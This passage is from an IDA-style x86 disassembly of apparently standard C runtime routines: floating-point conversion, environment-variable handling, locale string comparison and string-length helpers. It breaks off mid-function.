lea eax, [ebp+var_10]
push eax
call sub_41F1FD
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41F9D1
mov eax, [ebp+arg_14]
loc_41FA1E: ; CODE XREF: sub_41F7F0+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41FA5B
loc_41FA2B: ; CODE XREF: sub_41F7F0+248j
cmp eax, ecx
jb short loc_41FA3E
cmp byte ptr [eax], 39h
jnz short loc_41FA3A
mov byte ptr [eax], 30h
dec eax
jmp short loc_41FA2B
; ---------------------------------------------------------------------------
loc_41FA3A: ; CODE XREF: sub_41F7F0+242j
cmp eax, ecx
jnb short loc_41FA42
loc_41FA3E: ; CODE XREF: sub_41F7F0+23Dj
inc eax
inc word ptr [ebx]
loc_41FA42: ; CODE XREF: sub_41F7F0+24Cj
inc byte ptr [eax]
loc_41FA44: ; CODE XREF: sub_41F7F0+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41FA53: ; CODE XREF: sub_41F7F0+F0j
mov eax, [ebp+var_4]
loc_41FA56: ; CODE XREF: sub_41F7F0+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FA5B: ; CODE XREF: sub_41F7F0+239j
; sub_41F7F0+275j
cmp eax, ecx
jb short loc_41FA6B
cmp byte ptr [eax], 30h
jnz short loc_41FA67
dec eax
jmp short loc_41FA5B
; ---------------------------------------------------------------------------
loc_41FA67: ; CODE XREF: sub_41F7F0+272j
cmp eax, ecx
jnb short loc_41FA44
loc_41FA6B: ; CODE XREF: sub_41F7F0+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41FA7A: ; CODE XREF: sub_41F7F0+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41FA56
sub_41F7F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA83 proc near ; CODE XREF: sub_41EFBB+5Ep
; sub_420271+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41FA90
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FA90: ; CODE XREF: sub_41FA83+7j
push dword_516C84
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_516EA4
call sub_41FE42
add esp, 1Ch
test eax, eax
jnz short loc_41FABD
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FABD: ; CODE XREF: sub_41FA83+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41FA83 endp
; =============== S U B R O U T I N E =======================================
sub_41FAC2 proc near ; CODE XREF: sub_41EFBB+1Ep
; sub_4200EA+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_5158B4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41FB23
mov ebx, dword_421158
loc_41FADB: ; CODE XREF: sub_41FAC2+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_41FB2B
push ebp
call sub_417BEE
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41FB2B
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_41FB2B
push edi
push [esp+18h+var_4]
call sub_4200EA
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41FADB
loc_41FB23: ; CODE XREF: sub_41FAC2+11j
xor eax, eax
loc_41FB25: ; CODE XREF: sub_41FAC2+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41FB2B: ; CODE XREF: sub_41FAC2+29j
; sub_41FAC2+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41FB25
sub_41FAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41FB30 proc near ; CODE XREF: sub_41F038+8Bp
; sub_41F038+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_516C80
jnb short loc_41FB97
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_516B80[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41FB97
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41FB70
and cl, 7Fh
jmp short loc_41FB7D
; ---------------------------------------------------------------------------
loc_41FB70: ; CODE XREF: sub_41FB30+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41FB8B
or cl, 80h
loc_41FB7D: ; CODE XREF: sub_41FB30+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FB8B: ; CODE XREF: sub_41FB30+48j
mov dword_515884, 16h
jmp short loc_41FBA1
; ---------------------------------------------------------------------------
loc_41FB97: ; CODE XREF: sub_41FB30+Bj
; sub_41FB30+27j
mov dword_515884, 9
loc_41FBA1: ; CODE XREF: sub_41FB30+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41FB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBA6 proc near ; CODE XREF: sub_41F7F0+165p
; sub_41FDC6+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41FDA6
cmp cx, 7FFFh
jnb loc_41FDA6
cmp dx, 0BFFDh
ja loc_41FDA6
cmp dx, 3FBFh
ja short loc_41FC0F
xor eax, eax
jmp short loc_41FC49
; ---------------------------------------------------------------------------
loc_41FC0F: ; CODE XREF: sub_41FBA6+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41FC31
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41FC31
xor eax, eax
cmp [esi+4], eax
jnz short loc_41FC33
cmp [esi], eax
jnz short loc_41FC33
jmp loc_41FDA0
; ---------------------------------------------------------------------------
loc_41FC31: ; CODE XREF: sub_41FBA6+71j
; sub_41FBA6+79j
xor eax, eax
loc_41FC33: ; CODE XREF: sub_41FBA6+80j
; sub_41FBA6+84j
cmp cx, ax
jnz short loc_41FC56
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41FC56
cmp [ebx+4], eax
jnz short loc_41FC56
cmp [ebx], eax
jnz short loc_41FC56
loc_41FC49: ; CODE XREF: sub_41FBA6+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41FDC1
; ---------------------------------------------------------------------------
loc_41FC56: ; CODE XREF: sub_41FBA6+90j
; sub_41FBA6+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41FC66: ; CODE XREF: sub_41FBA6+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41FCBA
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41FC82: ; CODE XREF: sub_41FBA6+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41F17E
add esp, 0Ch
test eax, eax
jz short loc_41FCAD
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41FCAD: ; CODE XREF: sub_41FBA6+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41FC82
loc_41FCBA: ; CODE XREF: sub_41FBA6+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41FC66
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41FCFD
loc_41FCD8: ; CODE XREF: sub_41FBA6+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41FCF6
lea eax, [ebp+var_24]
push eax
call sub_41F1FD
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41FCD8
loc_41FCF6: ; CODE XREF: sub_41FBA6+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41FD36
loc_41FCFD: ; CODE XREF: sub_41FBA6+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41FD36
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41FD16: ; CODE XREF: sub_41FBA6+184j
test byte ptr [ebp+var_24], 1
jz short loc_41FD1F
inc [ebp+var_14]
loc_41FD1F: ; CODE XREF: sub_41FBA6+174j
lea eax, [ebp+var_24]
push eax
call sub_41F22B
dec ebx
pop ecx
jnz short loc_41FD16
cmp [ebp+var_14], 0
jz short loc_41FD36
or byte ptr [ebp+var_24], 1
loc_41FD36: ; CODE XREF: sub_41FBA6+155j
; sub_41FBA6+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41FD4D
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41FD82
loc_41FD4D: ; CODE XREF: sub_41FBA6+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41FD7F
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41FD7A
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41FD74
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41FD82
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FBA6+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41FD82
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41FBA6+1B5j
inc [ebp+var_20+2]
jmp short loc_41FD82
; ---------------------------------------------------------------------------
loc_41FD7F: ; CODE XREF: sub_41FBA6+1ABj
inc [ebp+var_24+2]
loc_41FD82: ; CODE XREF: sub_41FBA6+1A5j
; sub_41FBA6+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41FDA6
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41FDA0: ; CODE XREF: sub_41FBA6+86j
mov [esi+0Ah], ax
jmp short loc_41FDC1
; ---------------------------------------------------------------------------
loc_41FDA6: ; CODE XREF: sub_41FBA6+42j
; sub_41FBA6+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41FDC1: ; CODE XREF: sub_41FBA6+ABj
; sub_41FBA6+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDC6 proc near ; CODE XREF: sub_41F31F+440p
; sub_41F7F0+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43BF50
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41FE3F
jge short loc_41FDEE
mov eax, [ebp+arg_4]
mov ebx, offset dword_43C0B0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41FDEE: ; CODE XREF: sub_41FDC6+16j
cmp [ebp+arg_8], ecx
jnz short loc_41FDF9
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41FDF9: ; CODE XREF: sub_41FDC6+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41FE3F
push esi
push edi
loc_41FE00: ; CODE XREF: sub_41FDC6+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41FE38
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41FE2B
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41FE2B: ; CODE XREF: sub_41FDC6+57j
push esi
push [ebp+arg_0]
call sub_41FBA6
pop ecx
pop ecx
xor ecx, ecx
loc_41FE38: ; CODE XREF: sub_41FDC6+49j
cmp [ebp+arg_4], ecx
jnz short loc_41FE00
pop edi
pop esi
loc_41FE3F: ; CODE XREF: sub_41FDC6+14j
; sub_41FDC6+36j
pop ebx
leave
retn
sub_41FDC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE42 proc near ; CODE XREF: sub_41FA83+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421AA0
push offset sub_41D304
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_515B40, ebx
push 1
pop edi
jnz short loc_41FEB5
push edi
mov eax, offset dword_4216A0
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 7C80A35Eh
test eax, eax
jz short loc_41FE92
mov dword_515B40, edi
jmp short loc_41FEB5
; ---------------------------------------------------------------------------
loc_41FE92: ; CODE XREF: sub_41FE42+46j
push edi
mov eax, offset dword_441700
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 7C80D077h
test eax, eax
jz loc_4200AB
mov dword_515B40, 2
loc_41FEB5: ; CODE XREF: sub_41FE42+31j
; sub_41FE42+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41FECC
push esi
push [ebp+arg_8]
call sub_4200BF
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41FECC: ; CODE XREF: sub_41FE42+78j
cmp [ebp+arg_14], ebx
jle short loc_41FEE1
push [ebp+arg_14]
push [ebp+arg_10]
call sub_4200BF
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41FEE1: ; CODE XREF: sub_41FE42+8Dj
mov eax, dword_515B40
cmp eax, 2
jnz short loc_41FF06
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80D077h
jmp loc_4200AD
; ---------------------------------------------------------------------------
loc_41FF06: ; CODE XREF: sub_41FE42+A7j
cmp eax, edi
jnz loc_4200AB
cmp [ebp+arg_18], ebx
jnz short loc_41FF1B
mov eax, dword_5158FC
mov [ebp+arg_18], eax
loc_41FF1B: ; CODE XREF: sub_41FE42+CFj
cmp esi, ebx
jz short loc_41FF28
cmp [ebp+arg_14], ebx
jnz loc_41FFC0
loc_41FF28: ; CODE XREF: sub_41FE42+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41FF35
loc_41FF2D: ; CODE XREF: sub_41FE42+13Cj
; sub_41FE42+16Dj
push 2
loc_41FF2F: ; CODE XREF: sub_41FE42+146j
pop eax
jmp loc_4200AD
; ---------------------------------------------------------------------------
loc_41FF35: ; CODE XREF: sub_41FE42+E9j
cmp [ebp+arg_14], edi
jle short loc_41FF41
loc_41FF3A: ; CODE XREF: sub_41FE42+151j
; sub_41FE42+159j ...
mov eax, edi
jmp loc_4200AD
; ---------------------------------------------------------------------------
loc_41FF41: ; CODE XREF: sub_41FE42+F6j
cmp esi, edi
jg short loc_41FF86
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 7C812E76h
test eax, eax
jz loc_4200AB
cmp esi, ebx
jle short loc_41FF8A
cmp [ebp+var_3C], 2
jb short loc_41FF86
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41FF86
loc_41FF6C: ; CODE XREF: sub_41FE42+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41FF86
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41FF80
cmp cl, dl
jbe short loc_41FF2D
loc_41FF80: ; CODE XREF: sub_41FE42+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41FF6C
loc_41FF86: ; CODE XREF: sub_41FE42+101j
; sub_41FE42+120j ...
push 3
jmp short loc_41FF2F
; ---------------------------------------------------------------------------
loc_41FF8A: ; CODE XREF: sub_41FE42+11Aj
cmp [ebp+arg_14], ebx
jle short loc_41FFC0
cmp [ebp+var_3C], 2
jb short loc_41FF3A
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41FF3A
loc_41FF9D: ; CODE XREF: sub_41FE42+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41FF3A
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41FFB5
cmp cl, dl
jbe loc_41FF2D
loc_41FFB5: ; CODE XREF: sub_41FE42+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41FF9D
jmp loc_41FF3A
; ---------------------------------------------------------------------------
loc_41FFC0: ; CODE XREF: sub_41FE42+E0j
; sub_41FE42+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 7C809BF8h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_4200AB
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42000F
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_42000F: ; CODE XREF: sub_41FE42+1B5j
cmp [ebp+var_24], ebx
jz loc_4200AB
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_421074
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_4200AB
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_4200AB
mov [ebp+var_4], edi
loc_42004D: ; DATA XREF: ___:00425F80o
; ___:00425F8Co
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42007A
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42007A: ; CODE XREF: sub_41FE42+224j
cmp edi, ebx
jz short loc_4200AB
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 7C809BF8h
test eax, eax
jz short loc_4200AB
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80A35Eh
jmp short loc_4200AD
; ---------------------------------------------------------------------------
loc_4200AB: ; CODE XREF: sub_41FE42+63j
; sub_41FE42+C6j ...
xor eax, eax
loc_4200AD: ; CODE XREF: sub_41FE42+BFj
; sub_41FE42+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41FE42 endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41BC2B+81p
; sub_41FE42+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4200DC
loc_4200CF: ; CODE XREF: sub_4200BF+1Bj
cmp byte ptr [eax], 0
jz short loc_4200DC
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4200CF
loc_4200DC: ; CODE XREF: sub_4200BF+Ej
; sub_4200BF+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4200E7
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4200E7: ; CODE XREF: sub_4200BF+21j
mov eax, edx
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200EA proc near ; CODE XREF: sub_41FAC2+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42014E
push 3Dh
push [ebp+arg_0]
call sub_420330
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42014E
cmp [ebp+arg_0], esi
jz short loc_42014E
mov eax, dword_5158AC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_5158B0
jnz short loc_420134
push eax
call sub_4202C9
pop ecx
mov dword_5158AC, eax
loc_420134: ; CODE XREF: sub_4200EA+3Cj
cmp eax, edi
jnz short loc_42018C
cmp [ebp+arg_4], edi
jz short loc_420156
cmp dword_5158B4, edi
jz short loc_420156
call sub_41FAC2
test eax, eax
jz short loc_42018C
loc_42014E: ; CODE XREF: sub_4200EA+Dj
; sub_4200EA+22j ...
or eax, 0FFFFFFFFh
loc_420151: ; CODE XREF: sub_4200EA+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_420156: ; CODE XREF: sub_4200EA+51j
; sub_4200EA+59j
cmp ebx, edi
jnz loc_42026A
push 4
call sub_417BEE
cmp eax, edi
pop ecx
mov dword_5158AC, eax
jz short loc_42014E
mov [eax], edi
cmp dword_5158B4, edi
jnz short loc_42018C
push 4
call sub_417BEE
cmp eax, edi
pop ecx
mov dword_5158B4, eax
jz short loc_42014E
mov [eax], edi
loc_42018C: ; CODE XREF: sub_4200EA+4Cj
; sub_4200EA+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_5158AC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_420271
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4201EC
cmp dword ptr [edi], 0
jz short loc_4201EC
test ebx, ebx
jz short loc_4201E4
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_417C62
pop ecx
loc_4201BE: ; CODE XREF: sub_4200EA+E2j
cmp dword ptr [edi], 0
jz short loc_4201CE
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_4201BE
; ---------------------------------------------------------------------------
loc_4201CE: ; CODE XREF: sub_4200EA+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_418C3F
pop ecx
test eax, eax
pop ecx
jz short loc_42021E
jmp short loc_420219
; ---------------------------------------------------------------------------
loc_4201E4: ; CODE XREF: sub_4200EA+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_42021E
; ---------------------------------------------------------------------------
loc_4201EC: ; CODE XREF: sub_4200EA+BDj
; sub_4200EA+C2j
test ebx, ebx
jnz short loc_42026A
test esi, esi
jge short loc_4201F6
neg esi
loc_4201F6: ; CODE XREF: sub_4200EA+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_418C3F
pop ecx
test eax, eax
pop ecx
jz loc_42014E
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_420219: ; CODE XREF: sub_4200EA+F8j
mov dword_5158AC, eax
loc_42021E: ; CODE XREF: sub_4200EA+F6j
; sub_4200EA+100j
cmp [ebp+arg_4], 0
jz short loc_42026A
push [ebp+arg_0]
call sub_417AF0
inc eax
inc eax
push eax
call sub_417BEE
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42026A
push [ebp+arg_0]
push esi
call sub_417A00
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 7C833478h
push esi
call sub_417C62
pop ecx
loc_42026A: ; CODE XREF: sub_4200EA+6Ej
; sub_4200EA+104j ...
xor eax, eax
jmp loc_420151
sub_4200EA endp
; =============== S U B R O U T I N E =======================================
sub_420271 proc near ; CODE XREF: sub_4200EA+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_5158AC
push edi
mov eax, [esi]
test eax, eax
jz short loc_4202AC
mov edi, [esp+8+arg_4]
loc_420283: ; CODE XREF: sub_420271+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41FA83
add esp, 0Ch
test eax, eax
jnz short loc_4202A2
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_4202BC
test al, al
jz short loc_4202BC
loc_4202A2: ; CODE XREF: sub_420271+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_420283
loc_4202AC: ; CODE XREF: sub_420271+Cj
mov eax, esi
sub eax, dword_5158AC
sar eax, 2
neg eax
loc_4202B9: ; CODE XREF: sub_420271+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4202BC: ; CODE XREF: sub_420271+2Bj
; sub_420271+2Fj
mov eax, esi
sub eax, dword_5158AC
sar eax, 2
jmp short loc_4202B9
sub_420271 endp
; =============== S U B R O U T I N E =======================================
sub_4202C9 proc near ; CODE XREF: sub_4200EA+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_4202D8
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_4202D8: ; CODE XREF: sub_4202C9+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4202EA
loc_4202E0: ; CODE XREF: sub_4202C9+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4202E0
loc_4202EA: ; CODE XREF: sub_4202C9+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_417BEE
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_42030B
push 9
call sub_4191E5
pop ecx
loc_42030B: ; CODE XREF: sub_4202C9+38j
mov eax, [edi]
mov ebx, edi
loc_42030F: ; CODE XREF: sub_4202C9+5Bj
test eax, eax
jz short loc_420326
push eax
add ebx, 4
call sub_4203A3
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_42030F
; ---------------------------------------------------------------------------
loc_420326: ; CODE XREF: sub_4202C9+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_4202C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420330 proc near ; CODE XREF: sub_4200EA+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_516C9C, 0
jnz short loc_42034B
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418630
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42034B: ; CODE XREF: sub_420330+Aj
mov ecx, [ebp+arg_0]
loc_42034E: ; CODE XREF: sub_420330+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_420391
movzx edx, al
test byte_516DA1[edx], 4
jz short loc_42037D
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_420388
movzx eax, ax
movzx edx, dl
shl eax, 8
